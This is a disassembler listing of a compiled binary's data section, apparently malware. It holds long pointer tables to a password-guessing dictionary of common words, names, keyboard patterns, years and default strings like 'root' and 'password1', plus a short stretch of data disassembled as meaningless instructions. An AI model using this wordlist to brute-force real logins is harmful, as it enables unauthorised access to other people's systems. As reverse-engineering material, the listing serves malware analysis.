		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_0	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM_0		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset dword_4256E8
		dd offset dword_4256E4
		dd offset dword_4256E0
		dd offset dword_4256DC
		dd offset dword_4256D4
		dd offset dword_4256CC
		dd offset dword_4256C4
		dd offset dword_4256B8
		dd offset loc_41E5B7+1
		dd offset dword_4256B4
		dd offset off_4256B0
		dd offset a@_6		; "@"
		dd offset a@@		; "@@"
		dd offset asc_4256A4	; "+"
		dd offset asc_4256A0	; "++"
		dd offset asc_42569C	; "+++"
		dd offset asc_425694	; "++++"
		dd offset asc_425690	; "-"
		dd offset asc_42568C	; "--"
		dd offset asc_42568C	; "--"
		dd offset asc_425684	; "----"
		dd offset asc_425680	; "-+"
		dd offset asc_425678	; "--++"
		dd offset a0		; "=-0"
		dd offset a789_0	; "789+"
		dd offset a456_0	; "456+"
		dd offset asc_425660	; "$"
		dd offset asc_42565C	; "$$"
		dd offset asc_425658	; "$$$"
		dd offset a@_5		; "*&^%$#@!"
		dd offset a@_4		; "&^%$#@!"
		dd offset a@_3		; "^%$#@!"
		dd offset a@_2		; "%$#@!"
		dd offset a@_1		; "$#@!"
		dd offset a@_0		; "#@!"
		dd offset a@		; "@!"
		dd offset dword_41E5CC
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset a00000000	; "00000000"
		dd offset a000000000	; "000000000"
		dd offset a0000000000	; "0000000000"
		dd offset asc_41EC04	; "*"
		dd offset asc_425608	; "**"
		dd offset asc_425604	; "***"
		dd offset asc_4255FC	; "****"
		dd offset asc_4255F4	; "*****"
		dd offset asc_4255EC	; "******"
		dd offset asc_4255E4	; "*******"
		dd offset asc_4255D8	; "********"
		dd offset asc_4255CC	; "*********"
		dd offset a001		; "001"
		dd offset a002		; "002"
		dd offset a003		; "003"
		dd offset a004		; "004"
		dd offset a005		; "005"
		dd offset a006		; "006"
		dd offset a007		; "007"
		dd offset a008		; "008"
		dd offset a009		; "009"
		dd offset a010		; "010"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1		; "1"
		dd offset a11		; "11"
		dd offset a111		; "111"
		dd offset a1111		; "1111"
		dd offset a11111	; "11111"
		dd offset a111111	; "111111"
		dd offset a1111111	; "1111111"
		dd offset a11111111	; "11111111"
		dd offset a111111111	; "111111111"
		dd offset a1111111111	; "1111111111"
		dd offset a2		; "2"
		dd offset a22		; "22"
		dd offset a222		; "222"
		dd offset a2222		; "2222"
		dd offset a22222	; "22222"
		dd offset a222222	; "222222"
		dd offset a2222222	; "2222222"
		dd offset a22222222	; "22222222"
		dd offset a222222222	; "222222222"
		dd offset a2222222222	; "2222222222"
		dd offset a3		; "3"
		dd offset a33		; "33"
		dd offset a333		; "333"
		dd offset a3333		; "3333"
		dd offset a33333	; "33333"
		dd offset a333333	; "333333"
		dd offset a3333333	; "3333333"
		dd offset a33333333	; "33333333"
		dd offset a333333333	; "333333333"
		dd offset a3333333333	; "3333333333"
		dd offset a4		; "4"
		dd offset a44		; "44"
		dd offset a444		; "444"
		dd offset a4444		; "4444"
		dd offset a44444	; "44444"
		dd offset a444444	; "444444"
		dd offset a4444444	; "4444444"
		dd offset a44444444	; "44444444"
		dd offset a444444444	; "444444444"
		dd offset a4444444444	; "4444444444"
		dd offset a5		; "5"
		dd offset a55		; "55"
		dd offset a555		; "555"
; ---------------------------------------------------------------------------


loc_4243FC:				; CODE XREF: seg000:loc_404339p
		jo	short loc_424452
		inc	edx
		add	[eax+54h], ch
		inc	edx
		add	[eax+54h], ah
		inc	edx
		add	[eax+54h], bl
		inc	edx
		add	[esp+edx*2+42h], cl
		add	[eax+54h], al
		inc	edx
		add	[esp+edx*2], dh
		inc	edx
		add	[eax], dh
		push	esp
		inc	edx
		add	[esp+edx*2], ch
		inc	edx
		add	[eax], ch
		push	esp
		inc	edx
		add	[eax], ah
		push	esp
		inc	edx
		add	[eax], bl
		push	esp
		inc	edx
		add	[eax], dl
		push	esp
		inc	edx
		add	[eax], cl
		push	esp
		inc	edx
		add	ah, bh
		push	ebx
		inc	edx
		add	al, dh
		push	ebx
		inc	edx
		add	ah, ah
		push	ebx
		inc	edx
		add	al, ah
		push	ebx
		inc	edx
		add	ah, bl
		push	ebx
		inc	edx
		add	al, bl
		push	ebx
		inc	edx
		add	al, dl
		push	ebx
		inc	edx
		add	al, cl
		push	ebx


loc_424452:				; CODE XREF: seg002:loc_4243FCj
		inc	edx
		add	al, al
		push	ebx
		inc	edx
		add	[eax-53FFBDADh], bh
		push	ebx
		inc	edx
		add	[eax-6BFFBDADh], ah
		push	ebx
		inc	edx
		add	[eax-73FFBDADh], dl
		push	ebx
		inc	edx
		add	[eax-7FFFBDADh], cl
		push	ebx
		inc	edx
		add	[eax+53h], bh
		inc	edx
		add	[eax+53h], dh
		inc	edx
		add	[eax+53h], ch
		inc	edx
		add	[eax], dl
		xchg	eax, edx
		inc	edx
		add	[ebx+edx*2+42h], bl
		add	[eax+53h], dl
		inc	edx
		add	[ebx+edx*2+42h], cl
		add	[eax+53h], cl
		inc	edx
		add	[ebx+edx*2+42h], al
		add	[ebx+edx*2], bh
		inc	edx
		add	[ebx+edx*2], dh
		inc	edx
		add	[ebx+edx*2], ch
		inc	edx
		add	[ebx+edx*2], ah
		inc	edx
		add	[eax], bl
		push	ebx
		inc	edx
		add	[ebx+edx*2], cl
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset a9999999999	; "9999999999"
		dd offset a110		; "110"
		dd offset a7410		; "7410"
		dd offset a0147		; "0147"
		dd offset a1122		; "1122"
		dd offset a456		; "456"
		dd offset a654		; "654"
		dd offset a789		; "789"
		dd offset a987		; "987"
		dd offset a8520		; "8520"
		dd offset a0258		; "0258"
		dd offset a1020		; "1020"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1qwer	; "1qwer"
		dd offset a1abc		; "1abc"
		dd offset a1asd		; "1asd"
		dd offset a1qwe		; "1qwe"
		dd offset a12qwer	; "12qwer"
		dd offset a12abc	; "12abc"
		dd offset a12asd	; "12asd"
		dd offset a12qwe	; "12qwe"
		dd offset a123qwer	; "123qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a1234qwer	; "1234qwer"
		dd offset a1234abc	; "1234abc"
		dd offset a1234asd	; "1234asd"
		dd offset a1234qwe	; "1234qwe"
		dd offset a1952		; "1952"
		dd offset a1953		; "1953"
		dd offset a1954		; "1954"
		dd offset a1955		; "1955"
		dd offset a1956		; "1956"
		dd offset a1957		; "1957"
		dd offset a1958		; "1958"
		dd offset a1959		; "1959"
		dd offset a1960		; "1960"
		dd offset a1961		; "1961"
		dd offset a1962		; "1962"
		dd offset a1963		; "1963"
		dd offset a1964		; "1964"
		dd offset a1965		; "1965"
		dd offset a1966		; "1966"
		dd offset a1967		; "1967"
		dd offset a1968		; "1968"
		dd offset a1969		; "1969"
		dd offset a1970		; "1970"
		dd offset a1971		; "1971"
		dd offset a1972		; "1972"
		dd offset a1973		; "1973"
		dd offset a1974		; "1974"
		dd offset a1975		; "1975"
		dd offset a1976		; "1976"
		dd offset a1977		; "1977"
		dd offset a1978		; "1978"
		dd offset a1979		; "1979"
		dd offset a1980		; "1980"
		dd offset a1981		; "1981"
		dd offset a1982		; "1982"
		dd offset a1983		; "1983"
		dd offset a1984		; "1984"
		dd offset a1985		; "1985"
		dd offset a1986		; "1986"
		dd offset a1987		; "1987"
		dd offset a1988		; "1988"
		dd offset a1989		; "1989"
		dd offset a1990		; "1990"
		dd offset a1991		; "1991"
		dd offset a1992		; "1992"
		dd offset a1993		; "1993"
		dd offset a1994		; "1994"
		dd offset a1995		; "1995"
		dd offset a1996		; "1996"
		dd offset a1997		; "1997"
		dd offset a1998		; "1998"
		dd offset a1999		; "1999"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset a2006		; "2006"
		dd offset a2600		; "2600"
		dd offset a321		; "321"
		dd offset a4321		; "4321"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a7654321	; "7654321"
		dd offset aSony		; "sony"
		dd offset aSamsung_0	; "SAMSUNG"
		dd offset aSamsung	; "samsung"
		dd offset aSony_0	; "SONY"
		dd offset aMaster_0	; "MASTER"
		dd offset aMicrosoft	; "MICROSOFT"
		dd offset aDisc_0	; "DISC"
		dd offset aCreative	; "CREATIVE"
		dd offset aSex		; "SEX"
		dd offset aNokia	; "NOKIA"
		dd offset aXp		; "XP"
		dd offset aA_1		; "a"
		dd offset aAa		; "aa"
		dd offset aAaa		; "aaa"
		dd offset aAaaa		; "aaaa"
		dd offset aAaaaa	; "aaaaa"
		dd offset aAaaaaa	; "aaaaaa"
		dd offset aAaaaaaa	; "aaaaaaa"
		dd offset aAaaaaaaa	; "aaaaaaaa"
		dd offset aAaaaaaaaa	; "aaaaaaaaa"
		dd offset aPassword_0	; "Password"
		dd offset aPassword1	; "password1"
		dd offset aQw		; "qw"
		dd offset aQwe		; "qwe"
		dd offset aQwer		; "qwer"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aQwertyu	; "qwertyu"
		dd offset aQwertyui	; "qwertyui"
		dd offset aQwertyuio	; "qwertyuio"
		dd offset aQwertyuiop	; "qwertyuiop"
		dd offset aRoot		; "root"
		dd offset aServer_0	; "server"
		dd offset aService	; "service"
		dd offset aServers	; "servers"
		dd offset aServices	; "services"
		dd offset aSystem	; "system"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aChi_0	; "CHI"
		dd offset aChi		; "chi"
		dd offset aKor_0	; "kor"
		dd offset aTiger	; "tiger"
		dd offset aKor		; "KOR"
		dd offset aToyota_0	; "TOYOTA"
		dd offset aToyota	; "toyota"
		dd offset asc_428F68	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset aXyz		; "xyz"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aKonyang	; "konyang"
		dd offset aZ		; "z"
		dd offset aZx		; "zx"
		dd offset aZxc		; "zxc"
		dd offset aZxcv		; "zxcv"
		dd offset aZxcvb	; "zxcvb"
		dd offset aZxcvbn	; "zxcvbn"
		dd offset aZxcvbnm	; "zxcvbnm"
		dd offset aAs		; "as"
		dd offset aAsd		; "asd"
		dd offset aAsdf		; "asdf"
		dd offset aAsdfg	; "asdfg"
		dd offset aAsdfgh	; "asdfgh"
		dd offset aAsdfghj	; "asdfghj"
		dd offset aAsdfghjk	; "asdfghjk"
		dd offset aAsdfghjkl	; "asdfghjkl"
		dd offset aQaz		; "qaz"
		dd offset aWsx		; "wsx"
		dd offset aEdc		; "edc"
		dd offset aRfv		; "rfv"
		dd offset aB		; "b"
		dd offset aBb		; "bb"
		dd offset aBbb		; "bbb"
		dd offset aBbbb		; "bbbb"
		dd offset aBbbbb	; "bbbbb"
		dd offset aBbbbbb	; "bbbbbb"
		dd offset aBbbbbbb	; "bbbbbbb"
		dd offset aBbbbbbbb	; "bbbbbbbb"
		dd offset aBbbbbbbbb	; "bbbbbbbbb"
		dd offset aC		; "c"
		dd offset aCc		; "cc"
		dd offset aCcc		; "ccc"
		dd offset aCccc_0	; "cccc"
		dd offset aCcccc	; "ccccc"
		dd offset aCccccc	; "cccccc"
		dd offset aCcccccc	; "ccccccc"
		dd offset aCccccccc	; "cccccccc"
		dd offset aCcccccccc	; "ccccccccc"
		dd offset aD		; "d"
		dd offset aDd		; "dd"
		dd offset aDdd		; "ddd"
		dd offset aDddd		; "dddd"
		dd offset aDdddd	; "ddddd"
		dd offset aF		; "f"
		dd offset aFf		; "ff"
		dd offset aFff		; "fff"
		dd offset aFfff		; "ffff"
		dd offset aFffff	; "fffff"
		dd offset aE		; "e"
		dd offset aEe		; "ee"
		dd offset aEee		; "eee"
		dd offset aEeee		; "eeee"
		dd offset aEeeee	; "eeeee"
		dd offset aEeeeee	; "eeeeee"
		dd offset aG		; "g"
		dd offset aGg		; "gg"
		dd offset aGgg		; "ggg"
		dd offset aGggg		; "gggg"
		dd offset aGgggg	; "ggggg"
		dd offset aGggggg	; "gggggg"
		dd offset asc_424DDC	; "h"
		dd offset aHh		; "hh"
		dd offset aHhh		; "hhh"
		dd offset aHhhh		; "hhhh"
		dd offset aHhhhh	; "hhhhh"
		dd offset aHhhhhh	; "hhhhhh"
		dd offset aI_0		; "i"
		dd offset aIi		; "ii"
		dd offset aIii		; "iii"
		dd offset aIiii		; "iiii"
		dd offset aIiiii	; "iiiii"
		dd offset aIiiiii	; "iiiiii"
		dd offset aJ		; "j"
		dd offset aJj		; "jj"
		dd offset aJjj		; "jjj"
		dd offset aJjjj		; "jjjj"
		dd offset aJjjjj	; "jjjjj"
		dd offset aJjjjjj	; "jjjjjj"
		dd offset aK		; "k"
		dd offset aKk		; "kk"
		dd offset aKkk		; "kkk"
		dd offset aKkkk		; "kkkk"
		dd offset aKkkkk	; "kkkkk"
		dd offset aKkkkkk	; "kkkkkk"
		dd offset asc_424D4C	; "l"
		dd offset aLl		; "ll"
		dd offset aLll		; "lll"
		dd offset aLlll		; "llll"
		dd offset aLllll	; "lllll"
		dd offset aLlllll	; "llllll"
		dd offset aM		; "m"
		dd offset aMm		; "mm"
		dd offset aMmm		; "mmm"
		dd offset aMmmm		; "mmmm"
		dd offset aMmmmm	; "mmmmm"
		dd offset aMmmmmm	; "mmmmmm"
		dd offset aN		; "n"
		dd offset aNn		; "nn"
		dd offset aNnn		; "nnn"
		dd offset aNnnn		; "nnnn"
		dd offset aNnnnn	; "nnnnn"
		dd offset aNnnnnn	; "nnnnnn"
		dd offset aO		; "o"
		dd offset aOo		; "oo"
		dd offset aOoo		; "ooo"
		dd offset aOooo		; "oooo"
		dd offset aOoooo	; "ooooo"
		dd offset aOooooo	; "oooooo"
		dd offset aP		; "p"
		dd offset aPp		; "pp"
		dd offset aPpp		; "ppp"
		dd offset aPppp		; "pppp"
		dd offset aPpppp	; "ppppp"
		dd offset aPppppp	; "pppppp"
		dd offset aU		; "u"
		dd offset aUu		; "uu"
		dd offset aUuu		; "uuu"
		dd offset aUuuu		; "uuuu"
		dd offset aUuuuu	; "uuuuu"
		dd offset aUuuuuu	; "uuuuuu"
		dd offset aS_3		; "s"
		dd offset aSs		; "ss"
		dd offset aSss		; "sss"
		dd offset aSsss		; "ssss"
		dd offset aSssss	; "sssss"
		dd offset aSsssss	; "ssssss"
		dd offset aT		; "t"
		dd offset aTt		; "tt"
		dd offset aTtt		; "ttt"
		dd offset aTttt		; "tttt"
		dd offset aTtttt	; "ttttt"
		dd offset aTttttt	; "tttttt"
		dd offset aY		; "y"
		dd offset aYy		; "yy"
		dd offset aYyy		; "yyy"
		dd offset aYyyy		; "yyyy"
		dd offset aYyyyy	; "yyyyy"
		dd offset aYyyyyy	; "yyyyyy"
		dd offset aV		; "v"
		dd offset aVv		; "vv"
		dd offset aVvv		; "vvv"
		dd offset aVvvv		; "vvvv"
		dd offset aVvvvv	; "vvvvv"
		dd offset aVvvvvv	; "vvvvvv"
		dd offset aW		; "w"
		dd offset aWw		; "ww"
		dd offset aWww		; "www"
		dd offset aWwww		; "wwww"
		dd offset aWwwww	; "wwwww"
		dd offset aWwwwww	; "wwwwww"
		dd offset aQ		; "q"
		dd offset aQq		; "qq"
		dd offset aQqq		; "qqq"
		dd offset aQqqq		; "qqqq"
		dd offset aQqqqq	; "qqqqq"
		dd offset aQqqqqq	; "qqqqqq"
		dd offset aZ		; "z"
		dd offset aZz		; "zz"
		dd offset aZzz		; "zzz"
		dd offset aZzzz		; "zzzz"
		dd offset aZzzzz	; "zzzzz"
		dd offset aZzzzzz	; "zzzzzz"
		dd offset aXxyyzz	; "xxyyzz"
		dd offset aZzxx		; "zzxx"
		dd offset aAass		; "aass"
		dd offset aQqww		; "qqww"
		dd offset aZzzxxxccc	; "zzzxxxccc"
